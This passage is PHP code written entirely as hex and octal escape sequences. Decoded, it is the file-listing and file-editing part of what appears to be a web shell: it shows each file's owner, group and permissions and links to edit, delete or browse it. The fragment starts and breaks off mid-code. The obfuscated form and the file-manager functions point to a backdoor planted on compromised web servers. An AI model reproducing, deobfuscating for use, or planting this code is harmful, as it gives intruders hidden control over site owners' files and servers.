\x9\x9\11\x65\154\163\x65\x20\x24\x69\143\x6f\x6e\40\x3d\40\42\x73\155\141\154\x6c\137\165\156\153\42\73\12\11\x9\11\12\11\x9\11\151\x66\x20\x28\x66\x75\156\143\164\x69\157\x6e\x5f\145\x78\151\163\x74\x73\50\x22\160\x6f\163\x69\170\137\147\x65\164\160\x77\x75\x69\x64\42\51\x29\40\173\xa\11\11\x9\44\x75\151\x64\40\75\40\160\x6f\x73\x69\170\x5f\147\145\x74\160\167\x75\151\144\x28\146\151\x6c\145\157\x77\x6e\x65\x72\50\x24\146\x69\x6c\x65\51\51\73\xa\11\x9\11\44\x67\162\x30\60\160\40\x3d\40\x70\157\x73\151\x78\x5f\147\x65\164\147\162\x67\x69\x64\x28\146\x69\x6c\145\x67\x72\157\165\160\50\44\146\x69\154\145\x29\51\73\xa\11\x9\11\x24\157\167\x6e\145\x72\x20\x3d\x20\x24\165\x69\144\x5b\156\x61\155\x65\x5d\56\42\57\x22\56\44\147\x72\x30\60\160\x5b\156\141\155\145\135\x3b\40\x7d\12\11\11\x9\x65\154\163\145\xa\11\x9\x9\173\12\11\x9\x9\44\x6f\167\156\x65\162\40\75\40\x66\x69\x6c\x65\x6f\167\156\x65\162\x28\x24\x66\151\x6c\145\x29\x2e\x22\57\x22\56\146\151\154\145\147\x72\157\165\160\50\44\146\151\x6c\x65\51\73\xa\x9\x9\x9\x7d\12\11\x9\11\44\x70\145\x72\155\x73\40\75\x20\x66\151\154\x65\160\145\x72\155\x73\50\44\146\151\x6c\x65\x29\x3b\xa\x9\11\11\x24\151\156\146\x6f\x20\75\x20\147\145\x74\x70\x65\162\155\163\50\x24\160\145\162\x6d\x73\x29\x3b\xa\x9\11\11\x69\x66\40\x28\41\151\163\137\162\145\141\144\x61\142\x6c\x65\x28\x24\146\x69\154\145\51\x29\40\44\x69\x6e\x66\157\40\x3d\x20\42\74\146\x6f\156\x74\x20\x63\x6f\154\x6f\x72\x3d\162\x65\144\x3e\173\44\151\156\146\x6f\175\74\57\146\x6f\x6e\164\76\x22\73\xa\x9\11\x9\x65\x6c\163\x65\151\146\x20\50\41\151\163\x5f\x77\162\151\x74\x61\142\x6c\x65\50\44\146\151\154\145\x29\51\40\44\x69\156\146\157\40\x3d\x20\42\74\146\x6f\156\164\40\x63\x6f\x6c\157\162\x3d\x77\x68\x69\x74\x65\76\x7b\x24\151\156\x66\x6f\175\x3c\x2f\146\157\x6e\x74\x3e\x22\x3b\12\11\x9\11\145\154\163\x65\x20\44\151\x6e\x66\157\x20\x3d\40\42\74\146\157\156\164\x20\x63\157\154\157\162\75\x67\162\x65\x65\156\x3e\173\x24\x69\156\146\157\x7d\74\x2f\146\157\156\164\x3e\x22\x3b\xa\x9\11\11\x24\x6f\165\164\160\x75\x74\x2e\75\x20\x27\40\x20\x3c\164\x72\x20\x73\164\x79\154\x65\75\x22\142\x61\143\x6b\x67\162\157\x75\x6e\144\x2d\143\157\154\x6f\x72\x3a\47\x2e\44\x63\157\x6c\x6f\162\56\x27\73\42\76\xa\x20\40\40\40\x3c\164\x64\40\163\164\171\154\145\75\x22\x62\x6f\162\144\145\x72\55\x62\x6f\x74\x74\x6f\155\x3a\43\106\x46\x46\106\106\x46\40\61\x70\170\x20\x73\x6f\154\x69\144\73\42\76\x27\56\44\151\x6e\x66\157\56\47\74\57\x74\144\x3e\xa\40\x20\x20\40\74\164\144\x20\x73\x74\171\154\x65\75\42\142\157\162\x64\145\x72\55\142\157\164\x74\x6f\155\72\x23\x46\x46\106\x46\x46\106\x20\x31\x70\170\40\163\157\x6c\x69\144\73\42\40\x61\x6c\151\x67\x6e\x3d\42\x72\151\x67\x68\x74\42\x3e\74\151\155\x67\40\x73\x72\x63\x3d\42\x68\x74\x74\160\72\57\x2f\x27\56\x67\145\x74\x65\x6e\x76\50\42\x48\x54\x54\120\x5f\x48\117\123\x54\42\51\56\44\137\123\x45\x52\126\105\x52\x5b\x27\120\110\x50\x5f\x53\x45\114\x46\47\135\x2e\x27\77\141\143\164\x3d\151\x6d\x67\x26\151\155\147\75\x27\x2e\44\x69\x63\157\x6e\x2e\47\42\40\x2f\76\x3c\x2f\x74\144\76\12\40\40\x20\40\x3c\164\144\x20\163\x74\171\154\x65\x3d\x22\x62\x6f\x72\144\x65\x72\55\x62\157\x74\164\157\x6d\72\x23\106\106\106\106\106\106\40\61\160\170\x20\x73\x6f\154\151\x64\x3b\42\76\47\x2e\x24\x66\x69\154\145\56\x27\74\57\164\x64\x3e\12\x9\74\x74\x64\x20\x73\164\171\154\x65\75\42\x62\157\x72\144\145\x72\55\142\157\x74\x74\x6f\x6d\72\43\106\x46\106\x46\x46\x46\x20\61\160\170\x20\x73\x6f\154\x69\144\73\x22\76\x27\x2e\x24\157\167\156\x65\x72\x2e\x27\74\57\164\144\76\xa\x20\40\x20\x20\x3c\x74\144\40\163\x74\x79\x6c\145\75\x22\x62\x6f\x72\144\145\162\x2d\142\x6f\164\x74\x6f\x6d\x3a\43\x46\x46\106\x46\106\106\40\61\x70\170\x20\163\157\x6c\x69\x64\x3b\x22\x3e\74\141\x20\143\154\x61\x73\163\x3d\x22\154\x69\x6e\153\x22\x20\150\162\x65\146\x3d\42\152\x61\166\141\163\x63\x72\x69\x70\164\72\x64\157\x63\165\x6d\145\156\x74\x2e\146\145\144\x69\164\x2e\155\157\144\x66\x69\x6c\x65\x2e\x76\141\154\x75\x65\75\134\x27\x27\x2e\x24\x66\x69\154\x65\56\x27\134\47\x3b\144\157\x63\x75\x6d\x65\156\x74\56\x66\145\x64\151\164\56\163\165\x62\155\x69\164\x28\51\73\x22\76\74\151\155\147\40\x73\x72\143\x3d\42\47\56\x24\x5f\x53\x45\x52\x56\105\122\133\47\x50\x48\x50\137\x53\x45\x4c\106\47\x5d\56\x27\77\x27\56\44\x5f\x53\105\x52\x56\105\x52\x5b\x27\121\x55\105\x52\131\137\123\x54\x52\x49\116\x47\47\135\x2e\x27\x26\x61\x63\x74\75\151\x6d\147\x26\x69\155\147\x3d\143\x68\x61\156\x67\145\42\40\x62\x6f\162\x64\x65\162\75\60\40\x2f\76\x3c\x2f\x61\76\x20\x2d\x20\74\141\40\143\154\141\x73\163\75\x22\154\x69\x6e\153\x22\x20\x68\x72\x65\x66\75\42\x6a\141\x76\141\163\143\x72\x69\160\x74\x3a\144\157\x63\165\155\x65\x6e\164\56\144\145\154\x66\x69\x6c\x65\x2e\144\145\x6c\146\x69\154\145\x2e\166\x61\154\165\x65\75\x5c\47\47\x2e\44\x66\x69\x6c\145\56\x27\134\x27\73\144\157\x63\x75\x6d\x65\x6e\164\56\144\145\154\146\151\x6c\145\56\x73\165\142\x6d\x69\x74\50\x29\73\x22\76\74\x69\x6d\147\x20\x73\x72\x63\75\x22\x27\56\x24\137\123\x45\x52\x56\x45\122\x5b\x27\x50\x48\120\x5f\x53\105\x4c\x46\47\135\56\x27\77\x27\x2e\x24\137\123\x45\x52\126\105\122\x5b\47\x51\125\105\x52\131\137\123\x54\x52\111\116\107\47\x5d\x2e\47\x26\x61\143\164\x3d\x69\155\x67\x26\151\x6d\147\x3d\144\x65\x6c\x65\164\145\x22\x20\142\x6f\162\144\145\162\75\x30\40\57\76\x3c\57\x61\76\74\57\164\144\76\xa\x20\40\74\x2f\164\162\76\47\x3b\12\x9\x9\11\xa\11\11\175\12\x9\x9\x65\154\163\145\12\11\11\x7b\11\xa\x9\11\11\xa\11\x9\x9\151\x66\40\50\146\x75\x6e\x63\164\151\x6f\x6e\x5f\x65\170\x69\x73\164\x73\50\42\x70\x6f\x73\151\170\x5f\147\x65\x74\160\x77\x75\x69\x64\x22\51\51\40\x7b\12\x9\11\x9\x24\x75\x69\144\x20\x3d\x20\x70\157\x73\x69\170\137\147\x65\x74\x70\167\x75\151\144\x28\146\x69\154\x65\x6f\167\x6e\x65\162\50\x24\146\151\154\145\51\x29\73\xa\11\x9\11\44\147\x72\60\x30\x70\x20\x3d\40\x70\x6f\x73\x69\170\137\x67\145\164\x67\x72\x67\151\144\50\146\x69\154\145\x67\162\x6f\x75\160\x28\x24\x66\x69\x6c\145\51\x29\73\xa\x9\11\11\x24\x6f\x77\156\x65\162\40\75\40\x24\x75\x69\144\x5b\156\x61\155\145\135\56\42\x2f\42\56\x24\147\162\60\x30\160\133\x6e\x61\x6d\145\x5d\x3b\x20\x7d\12\11\x9\x9\145\154\x73\x65\12\x9\x9\11\173\xa\11\x9\11\x24\x6f\167\x6e\145\x72\40\x3d\x20\x66\x69\154\145\157\167\x6e\145\x72\50\44\146\x69\x6c\x65\51\56\x22\57\42\56\146\x69\x6c\x65\147\162\x6f\x75\x70\50\x24\146\x69\154\x65\x29\73\xa\11\x9\11\175\xa\x9\11\11\44\160\145\x72\x6d\x73\40\75\40\x66\x69\x6c\x65\160\x65\x72\x6d\x73\50\x24\146\x69\x6c\145\x29\x3b\12\11\11\11\x24\x69\x6e\146\x6f\40\75\x20\147\x65\164\160\x65\x72\x6d\163\x28\44\x70\x65\162\x6d\x73\x29\73\xa\11\11\x9\151\x66\x20\50\41\151\x73\x5f\162\145\141\144\x61\x62\154\145\50\x24\x66\151\154\x65\51\51\40\x24\x69\x6e\146\x6f\40\x3d\x20\42\74\146\x6f\x6e\164\x20\143\x6f\154\157\x72\x3d\x72\x65\x64\x3e\173\x24\151\156\x66\x6f\175\74\57\x66\x6f\x6e\164\x3e\42\73\xa\x9\x9\x9\145\x6c\163\x65\x69\146\40\50\x21\151\x73\x5f\x77\162\x69\x74\x61\x62\154\x65\x28\44\146\151\154\145\x29\51\x20\44\151\156\x66\x6f\x20\x3d\40\x22\74\x66\x6f\156\x74\40\143\x6f\x6c\157\x72\x3d\167\x68\x69\164\x65\76\173\44\x69\156\146\157\x7d\x3c\57\146\x6f\x6e\164\x3e\x22\73\xa\11\x9\x9\145\x6c\163\145\40\44\151\x6e\146\x6f\x20\75\40\x22\74\x66\x6f\156\164\40\x63\x6f\x6c\157\162\x3d\147\162\145\145\x6e\x3e\x7b\x24\151\x6e\146\157\x7d\74\57\146\157\x6e\164\76\x22\x3b\xa\11\x9\11\12\x9\x9\x9\x24\x6f\x75\164\x70\165\164\56\75\x20\47\40\x20\x3c\164\x72\x20\x73\164\171\x6c\x65\75\42\x62\x61\143\x6b\x67\x72\x6f\165\x6e\x64\x2d\143\x6f\154\x6f\162\x3a\47\56\x24\143\x6f\x6c\x6f\162\56\47\x3b\42\x3e\12\x20\40\x20\x20\74\164\x64\40\163\x74\x79\154\x65\75\x22\142\157\x72\144\x65\x72\55\x62\157\x74\x74\157\x6d\72\43\x46\106\x46\106\106\106\40\61\x70\x78\x20\163\x6f\154\x69\144\73\42\76\x27\x2e\44\x69\156\146\157\x2e\x27\74\57\x74\x64\76\xa\40\40\40\40\74\164\144\x20\163\164\x79\154\x65\75\42\x62\x6f\162\144\145\162\x2d\142\157\x74\x74\x6f\155\72\43\x46\x46\106\x46\106\x46\x20\x31\x70\170\40\x73\x6f\x6c\151\x64\x3b\42\40\x61\154\151\147\156\x3d\x22\162\x69\x67\150\164\42\x3e\x3c\x69\x6d\147\x20\163\x72\143\75\x22\150\x74\164\160\72\x2f\x2f\x27\56\147\x65\164\x65\156\x76\x28\x22\110\124\x54\x50\137\110\117\x53\x54\42\51\x2e\x24\137\123\105\x52\126\x45\122\x5b\x27\120\x48\x50\137\123\105\x4c\x46\x27\x5d\56\x27\x3f\47\56\44\x5f\123\105\x52\x56\x45\x52\133\47\x51\x55\x45\x52\x59\137\123\124\x52\111\x4e\107\47\x5d\56\x27\x26\141\x63\x74\75\x69\x6d\x67\46\151\x6d\x67\75\146\157\154\144\x65\x72\42\x20\x2f\76\74\57\164\144\x3e\47\x3b\xa\x9\x20\40\40\x20\44\157\x75\164\x70\165\164\40\56\75\40\47\74\x74\x64\40\163\164\171\x6c\x65\75\x22\x62\x6f\162\x64\145\x72\55\142\x6f\164\164\157\155\72\x23\106\106\x46\106\x46\x46\x20\61\x70\170\x20\x73\x6f\x6c\x69\144\x3b\x22\76\x3c\141\40\143\154\x61\x73\163\75\x22\154\x69\x6e\x6b\x22\x20\150\x72\x65\x66\75\42\152\141\x76\x61\163\x63\162\x69\160\164\x3a\144\157\143\165\x6d\x65\156\164\56\x66\x6f\x6c\x64\x65\162\56\x64\151\x72\56\166\141\154\165\145\75\x5c\47\x27\x2e\141\144\144\163\154\141\163\150\x65\x73\x28\x72\145\x61\x6c\x70\x61\164\150\50\44\x66\x69\x6c\145\x29\x29\x2e\47\x5c\x27\x3b\144\x6f\x63\165\x6d\145\156\x74\x2e\x66\157\154\x64\x65\x72\56\163\165\142\155\x69\164\50\51\x3b\42\76\x27\56\x24\146\151\154\145\x2e\x27\74\57\x61\x3e\x3c\x2f\164\144\76\12\11\x3c\164\x64\x20\x73\164\x79\x6c\x65\75\x22\x62\x6f\x72\x64\145\x72\55\142\x6f\x74\164\157\155\x3a\43\106\x46\106\106\106\106\x20\x31\160\170\40\x73\x6f\154\151\144\x3b\x22\x3e\x27\56\44\157\x77\x6e\x65\x72\x2e\x27\x3c\57\164\144\x3e\12\x20\40\x20\x20\74\x74\x64\40\163\x74\171\x6c\145\75\42\142\x6f\x72\144\145\162\x2d\142\x6f\164\164\157\x6d\x3a\43\106\106\106\106\106\x46\40\61\x70\170\x20\163\157\x6c\151\144\x3b\x22\76\x3c\x61\40\143\x6c\x61\163\163\x3d\x22\154\x69\x6e\x6b\42\x20\x68\x72\145\146\75\x22\x6a\141\x76\x61\x73\143\x72\151\x70\164\72\144\x6f\x63\x75\155\x65\156\164\56\x66\x6f\154\144\145\x72\x2e\144\x69\x72\56\166\141\154\165\145\x3d\x5c\47\47\x2e\141\x64\x64\163\154\141\x73\150\x65\163\x28\x72\145\x61\x6c\x70\141\164\150\50\44\146\151\154\145\x29\51\56\x27\134\x27\x3b\144\157\143\x75\x6d\145\x6e\x74\x2e\x66\x6f\154\x64\145\162\56\x73\165\142\x6d\x69\164\50\x29\73\x22\x3e\107\x6f\x3c\57\x61\76\x3c\57\x74\x64\x3e\12\x20\40\x3c\57\x74\162\76\47\73\xa\11\11\11\xa\11\x9\x7d\xa\x9\x7d\xa\11\145\154\x73\145\12\11\x7b\xa\x9\x9\143\x68\x64\x69\162\50\44\x64\x69\x72\x29\73\12\x9\x9\151\146\x20\50\151\x73\137\x66\x69\154\145\50\x24\146\151\x6c\145\51\x29\173\xa\x9\x9\x9\x24\x65\x78\x74\x20\x3d\x20\x61\x72\162\x61\x79\137\160\157\160\x28\x65\170\x70\x6c\157\x64\x65\x28\x22\56\42\54\44\146\x69\154\x65\51\51\x3b\xa\x9\11\11\151\146\x20\x28\x61\162\162\141\171\137\153\145\x79\x5f\145\170\x69\163\164\x73\x28\44\145\x78\164\54\40\x24\151\143\157\156\x73\51\51\40\44\151\x63\x6f\x6e\40\75\x20\x24\151\143\x6f\x6e\163\x5b\44\145\x78\x74\x5d\73\xa\11\x9\x9\x65\154\163\145\x20\44\151\143\157\156\x20\75\x20\42\x73\x6d\x61\x6c\154\x5f\165\156\153\x22\x3b\xa\11\11\x9\xa\x9\11\x9\151\x66\40\50\x66\165\156\x63\164\x69\x6f\156\137\145\x78\x69\x73\x74\163\50\42\x70\x6f\x73\151\170\137\x67\x65\x74\x70\x77\165\151\x64\42\51\x29\40\x7b\xa\11\x9\x9\44\165\x69\144\40\75\40\x70\x6f\x73\151\170\137\147\x65\164\x70\167\x75\x69\x64\50\146\151\154\145\x6f\x77\156\x65\x72\50\x24\x66\151\x6c\x65\x29\51\73\12\x9\11\11\x24\x67\162\60\x30\160\x20\x3d\x20\160\x6f\163\x69\170\137\147\145\x74\x67\162\147\151\144\x28\146\x69\154\145\147\162\x6f\165\160\x28\44\146\151\x6c\145\51\x29\73\xa\11\x9\11\44\x6f\x77\156\145\162\x20\x3d\40\44\x75\151\x64\x5b\x6e\141\155\145\x5d\x2e\x22\57\42\56\44\147\x72\x30\x30\160\x5b\156\x61\155\x65\x5d\73\40\175\xa\x9\x9\11\x65\x6c\163\145\12\11\x9\11\173\xa\x9\11\11\44\x6f\167\x6e\x65\x72\40\x3d\x20\146\151\154\145\157\x77\x6e\x65\162\x28\x24\x66\x69\154\x65\x29\56\42\57\42\56\146\x69\154\145\147\x72\157\x75\160\x28\x24\x66\151\x6c\x65\x29\x3b\xa\x9\11\11\175\xa\11\11\11\x24\160\145\x72\155\x73\x20\x3d\40\146\x69\x6c\x65\160\x65\162\x6d\163\x28\x24\146\151\x6c\145\x29\x3b\xa\11\11\x9\x24\151\x6e\x66\157\40\x3d\x20\147\x65\164\x70\145\162\155\x73\x28\44\x70\x65\x72\155\163\51\73\12\11\11\11\x69\x66\x20\x28\41\151\163\137\162\x65\141\x64\141\142\154\145\50\44\146\x69\x6c\x65\x29\51\40\x24\151\156\146\x6f\x20\75\40\x22\74\x66\157\156\164\40\143\157\154\x6f\x72\x3d\162\145\x64\x3e\x7b\44\151\x6e\x66\x6f\x7d\x3c\57\x66\157\156\x74\x3e\42\73\12\x9\11\11\x65\x6c\163\145\x69\146\40\x28\41\x69\x73\137\167\x72\x69\164\x61\142\x6c\x65\50\44\x66\151\154\x65\51\51\x20\44\x69\156\146\x6f\x20\75\x20\42\x3c\146\157\156\x74\x20\x63\x6f\154\x6f\162\x3d\167\x68\151\x74\145\76\x7b\44\151\x6e\x66\x6f\x7d\74\x2f\146\x6f\156\164\76\42\73\12\11\11\x9\x65\154\x73\x65\40\44\x69\x6e\x66\x6f\40\75\x20\42\x3c\146\157\156\x74\x20\x63\x6f\154\157\162\x3d\147\x72\145\x65\156\x3e\173\x24\x69\156\146\157\x7d\74\x2f\x66\157\x6e\x74\x3e\x22\x3b\12\11\11\x9\44\x6f\165\164\x70\165\x74\x2e\75\40\47\40\x20\74\164\x72\x20\x73\164\x79\154\145\75\x22\142\141\143\153\147\x72\157\165\x6e\x64\55\x63\157\154\157\x72\72\47\x2e\44\x63\x6f\154\157\x72\56\x27\x3b\x22\76\xa\x20\40\40\40\74\x74\144\x20\163\164\171\154\x65\75\x22\x62\157\x72\144\145\162\x2d\x62\157\164\164\157\x6d\72\x23\x46\x46\106\x46\106\x46\x20\61\160\x78\x20\x73\x6f\154\x69\144\73\42\76\47\56\x24\x69\x6e\146\157\x2e\47\x3c\57\x74\144\x3e\12\40\x20\40\x20\x3c\x74\144\x20\x73\164\x79\x6c\145\x3d\42\x62\157\162\x64\145\x72\x2d\142\157\164\x74\157\x6d\72\x23\x46\x46\106\x46\x46\x46\40\61\160\170\40\x73\157\154\151\144\73\x22\x20\x61\x6c\151\147\156\75\x22\x72\x69\x67\x68\x74\x22\x3e\x3c\151\x6d\x67\x20\163\162\x63\75\x22\x68\164\164\160\72\57\57\x27\x2e\147\145\164\x65\156\x76\x28\x22\x48\124\124\120\x5f\x48\117\x53\124\x22\51\x2e\44\x5f\123\105\x52\x56\x45\x52\133\47\120\110\120\x5f\123\x45\x4c\x46\47\x5d\x2e\47\x3f\x27\x2e\44\137\123\105\122\x56\105\x52\133\47\x51\125\105\x52\131\137\123\x54\x52\x49\x4e\x47\x27\135\x2e\47\x26\141\x63\x74\75\x69\x6d\147\46\151\155\x67\x3d\x27\56\44\151\x63\x6f\156\56\47\x22\40\57\x3e\74\x2f\164\144\76\xa\40\40\x20\40\74\x74\x64\x20\163\164\x79\x6c\x65\75\x22\x62\157\x72\x64\x65\162\x2d\x62\x6f\164\x74\157\x6d\72\x23\x46\106\x46\x46\x46\106\x20\x31\160\170\x20\x73\157\x6c\151\144\73\x22\76\47\56\x24\146\151\x6c\145\x2e\47\x3c\x2f\164\144\x3e\xa\x9\74\x74\144\40\163\x74\x79\x6c\145\x3d\42\142\157\x72\144\x65\162\x2d\x62\x6f\x74\x74\x6f\x6d\x3a\43\x46\106\x46\106\x46\x46\40\61\x70\170\x20\x73\157\x6c\x69\144\73\42\76\x27\56\x24\x6f\167\156\145\x72\x2e\x27\74\x2f\164\144\76\xa\40\x20\40\x20\74\x74\x64\x20\163\164\x79\x6c\145\75\x22\x62\157\162\x64\x65\162\x2d\142\x6f\x74\x74\157\155\x3a\x23\x46\106\106\x46\106\x46\x20\61\160\x78\x20\163\x6f\154\151\x64\x3b\42\x3e\x3c\141\40\143\154\141\x73\x73\75\42\154\x69\x6e\x6b\x22\x20\x68\x72\x65\x66\75\x22\152\x61\x76\141\x73\x63\x72\x69\160\x74\x3a\144\x6f\x63\165\x6d\145\x6e\164\56\146\145\x64\151\164\x2e\155\157\144\146\x69\x6c\145\x2e\166\x61\x6c\x75\145\75\x5c\47\x27\x2e\44\146\x69\154\x65\x2e\47\134\47\x3b\x64\x6f\x63\165\155\145\156\x74\56\146\x65\x64\x69\x74\x2e\163\165\x62\155\151\164\50\x29\x3b\42\76\x3c\151\x6d\147\x20\x73\x72\x63\x3d\x22\47\56\44\x5f\x53\x45\x52\126\x45\x52\x5b\47\x50\110\x50\137\123\x45\x4c\x46\47\x5d\x2e\47\77\47\x2e\44\137\x53\105\x52\126\105\122\133\x27\121\x55\x45\122\131\137\x53\x54\x52\111\116\107\x27\135\56\x27\x26\x61\143\x74\75\151\155\x67\46\151\155\x67\x3d\x63\x68\x61\156\147\x65\x22\x20\142\x6f\162\144\145\x72\x3d\60\x20\x2f\76\x3c\x2f\141\x3e\x20\x2d\x20\74\x61\x20\x63\154\141\x73\163\75\42\154\151\x6e\x6b\x22\x20\150\x72\145\x66\75\42\x6a\141\166\141\x73\x63\162\x69\160\x74\x3a\144\157\x63\165\x6d\145\156\x74\56\144\145\154\146\x69\x6c\145\x2e\144\145\x6c\146\151\154\x65\x2e\x76\x61\x6c\x75\x65\x3d\134\x27\47\56\44\146\151\x6c\x65\x2e\x27\134\x27\73\x64\157\x63\165\x6d\145\156\164\x2e\x64\145\x6c\x66\151\154\x65\56\x73\x75\142\155\x69\164\x28\51\x3b\x22\76\74\x69\x6d\x67\x20\163\162\143\75\x22\x27\56\44\x5f\123\x45\122\126\x45\122\133\47\120\110\120\137\x53\105\x4c\106\47\135\x2e\47\x3f\47\x2e\44\x5f\123\x45\x52\126\105\122\133\x27\x51\x55\105\122\131\137\x53\x54\x52\111\116\107\x27\x5d\x2e\x27\x26\141\143\x74\75\151\155\x67\46\x69\155\x67\x3d\x64\145\154\145\x74\145\42\x20\142\157\162\x64\x65\x72\75\x30\40\x2f\76\x3c\57\141\x3e\x3c\x2f\164\x64\76\12\40\x20\x3c\x2f\x74\x72\76\x27\73\xa\x9\x9\175\12\11\x9\x65\154\163\145\xa\x9\x9\173\12\11\x9\11\x69\146\x20\50\x66\165\156\143\x74\151\x6f\156\x5f\145\170\x69\163\164\x73\50\x22\160\x6f\163\x69\x78\137\147\x65\164\x70\x77\x75\x69\144\42\51\51\40\173\12\11\11\x9\44\x75\x69\144\x20\75\x20\x70\157\x73\x69\x78\137\x67\145\x74\160\x77\165\151\x64\x28\x66\151\x6c\145\157\167\x6e\x65\162\50\x24\x66\151\154\x65\51\51\73\12\11\x9\x9\44\147\x72\60\x30\x70\x20\75\x20\160\x6f\x73\x69\x78\137\147\145\164\x67\162\x67\151\x64\50\146\151\154\x65\x67\x72\157\165\160\50\x24\146\151\154\x65\51\51\x3b\xa\x9\11\x9\x24\157\x77\x6e\145\x72\x20\x3d\x20\x24\x75\x69\144\x5b\x6e\141\155\x65\135\56\42\x2f\42\x2e\44\x67\162\60\60\x70\133\x6e\x61\x6d\145\135\x3b\x20\175\12\x9\x9\11\145\154\x73\145\12\x9\x9\x9\173\12\11\x9\x9\x24\157\x77\156\145\162\40\x3d\40\x66\x69\154\x65\157\167\156\x65\x72\50\44\x66\x69\x6c\x65\x29\56\42\x2f\42\x2e\146\151\x6c\145\147\x72\157\165\x70\x28\44\x66\x69\x6c\145\x29\73\xa\x9\11\11\175\12\11\x9\x9\44\160\145\162\155\x73\x20\x3d\40\146\151\x6c\145\x70\x65\x72\x6d\x73\x28\44\146\x69\x6c\145\51\x3b\xa\11\x9\11\44\151\156\x66\x6f\40\x3d\40\147\145\x74\x70\145\x72\155\163\x28\44\160\x65\x72\x6d\x73\x29\x3b\xa\x9\x9\11\151\146\40\x28\x21\151\x73\x5f\162\x65\x61\144\141\x62\154\x65\50\44\146\151\x6c\x65\51\x29\40\x24\151\x6e\146\x6f\x20\75\40\x22\74\x66\x6f\156\x74\40\x63\x6f\154\x6f\162\75\x72\x65\x64\x3e\173\x24\x69\156\146\x6f\x7d\x3c\57\146\157\156\164\76\42\73\12\x9\x9\11\145\154\163\145\x69\x66\x20\x28\x21\151\x73\137\x77\x72\151\164\141\x62\154\145\50\x24\146\151\x6c\x65\x29\51\x20\x24\x69\156\146\x6f\40\75\40\x22\x3c\146\x6f\x6e\164\40\143\157\x6c\x6f\162\75\x77\150\x69\x74\145\x3e\173\x24\151\156\x66\x6f\x7d\74\x2f\x66\x6f\x6e\x74\76\42\73\12\x9\x9\x9\x65\154\163\x65\40\x24\x69\x6e\x66\x6f\x20\75\x20\x22\74\x66\x6f\x6e\x74\x20\x63\x6f\154\x6f\x72\75\x67\162\x65\145\x6e\76\173\44\x69\156\x66\x6f\175\x3c\57\x66\157\x6e\x74\x3e\42\x3b\xa\11\x9\11\44\x6f\165\164\x70\x75\164\56\75\x20\47\x20\x20\x3c\164\x72\x20\163\164\x79\x6c\x65\75\42\x62\141\x63\153\x67\162\x6f\165\156\144\55\x63\x6f\x6c\157\162\x3a\47\x2e\44\x63\x6f\154\x6f\162\56\x27\x3b\42\76\12\40\40\40\40\74\x74\x64\x20\x73\x74\171\x6c\145\x3d\x22\x62\x6f\x72\x64\145\162\55\142\x6f\164\164\157\155\x3a\x23\106\x46\106\106\x46\x46\40\61\160\x78\x20\x73\157\x6c\x69\x64\x3b\42\76\x27\x2e\44\x69\x6e\x66\x6f\x2e\x27\74\57\164\144\x3e\xa\x20\x20\x20\x20\x3c\x74\144\x20\x73\x74\171\154\x65\x3d\42\x62\x6f\162\x64\x65\162\55\142\x6f\x74\164\x6f\x6d\72\x23\106\x46\x46\106\106\106\x20\61\x70\170\x20\x73\x6f\154\151\144\73\42\x20\x61\154\151\x67\x6e\75\42\162\x69\x67\x68\x74\42\x3e\x3c\151\x6d\x67\x20\x73\x72\x63\x3d\42\x68\164\x74\160\72\x2f\57\x27\56\147\x65\x74\x65\156\166\x28\42\110\x54\124\120\137\x48\x4f\x53\124\42\x29\56\44\x5f\x53\x45\122\126\x45\122\133\47\120\110\120\137\x53\105\x4c\x46\x27\x5d\56\47\77\47\x2e\44\137\123\x45\x52\x56\105\x52\133\47\121\125\x45\x52\x59\137\123\124\x52\x49\116\107\47\x5d\x2e\47\x26\141\143\x74\x3d\151\155\x67\46\151\x6d\147\x3d\146\x6f\x6c\144\145\162\42\x20\x2f\76\x3c\57\x74\x64\x3e\12\40\40\40\74\x74\144\40\x73\x74\171\x6c\145\75\x22\142\x6f\162\144\145\162\55\x62\157\x74\x74\157\x6d\72\43\x46\106\106\106\x46\x46\x20\x31\x70\x78\x20\163\157\154\x69\x64\x3b\42\76\74\x61\x20\143\154\x61\x73\x73\x3d\x22\154\151\156\153\42\40\150\162\145\146\75\x22\152\141\x76\x61\163\x63\x72\x69\x70\x74\72\x64\x6f\143\x75\155\145\x6e\x74\x2e\x66\157\x6c\144\x65\162\x2e\144\151\162\56\x76\x61\154\x75\x65\75\x5c\x27\47\56\x61\144\144\163\154\x61\x73\x68\x65\x73\x28\162\145\x61\x6c\160\141\164\150\50\x24\x66\151\154\145\51\x29\56\47\x5c\x27\73\144\157\143\165\x6d\145\156\x74\x2e\146\x6f\x6c\x64\x65\x72\x2e\x73\165\142\155\x69\164\50\51\x3b\x22\x3e\47\x2e\44\146\151\x6c\x65\56\47\x3c\x2f\141\76\x3c\57\164\x64\x3e\xa\x9\74\x74\144\40\163\164\171\x6c\x65\x3d\42\142\x6f\x72\144\x65\x72\x2d\142\157\164\164\157\155\x3a\43\106\x46\106\106\x46\x46\40\61\x70\170\x20\163\x6f\x6c\x69\x64\x3b\x22\x3e\x27\x2e\44\157\167\x6e\x65\162\x2e\47\x3c\x2f\164\144\x3e\xa\x20\40\x20\x20\x3c\164\x64\40\163\164\171\154\145\x3d\x22\x62\x6f\162\144\x65\162\55\x62\157\x74\x74\x6f\155\72\43\x46\x46\106\106\x46\106\40\61\x70\170\40\163\157\154\x69\x64\x3b\x22\x3e\x3c\141\40\143\154\141\x73\163\75\42\154\151\x6e\x6b\42\x20\x68\162\x65\x66\75\x22\x6a\x61\x76\x61\x73\143\x72\151\x70\x74\72\144\x6f\x63\x75\x6d\145\156\x74\x2e\146\157\154\x64\x65\x72\56\x64\x69\x72\x2e\x76\141\154\165\x65\75\x5c\47\x27\56\x61\144\144\x73\x6c\x61\x73\x68\145\x73\50\x72\145\x61\x6c\160\141\164\x68\x28\44\146\151\154\x65\51\x29\56\47\134\x27\73\x64\157\x63\165\155\x65\x6e\x74\x2e\146\157\154\144\x65\162\56\163\165\142\155\x69\164\x28\x29\73\42\76\107\157\74\57\x61\x3e\x3c\57\x74\144\76\12\x20\40\x3c\x2f\x74\x72\76\47\73\12\11\x9\11\xa\11\x9\175\xa\x9\175\xa\x24\151\x2b\x2b\73\12\175\xa\44\x6f\x75\164\160\165\164\40\x2e\75\40\42\74\x2f\x64\x69\x76\x3e\42\x3b\xa\x7d\xa\x2f\57\x45\x64\x69\164\x69\x6e\x67\x20\146\x69\x6c\x65\x2e\56\56\12\x69\146\40\x28\x24\x5f\120\117\x53\124\x5b\47\x6d\157\144\x65\x27\135\75\75\x22\x65\144\151\164\x22\51\x20\173\12\x28\44\x64\151\x72\x3d\75\x72\x65\x61\x6c\x70\141\164\150\50\42\x2e\42\x29\x29\x20\x3f\40\44\146\151\154\145\75\44\x5f\x50\x4f\x5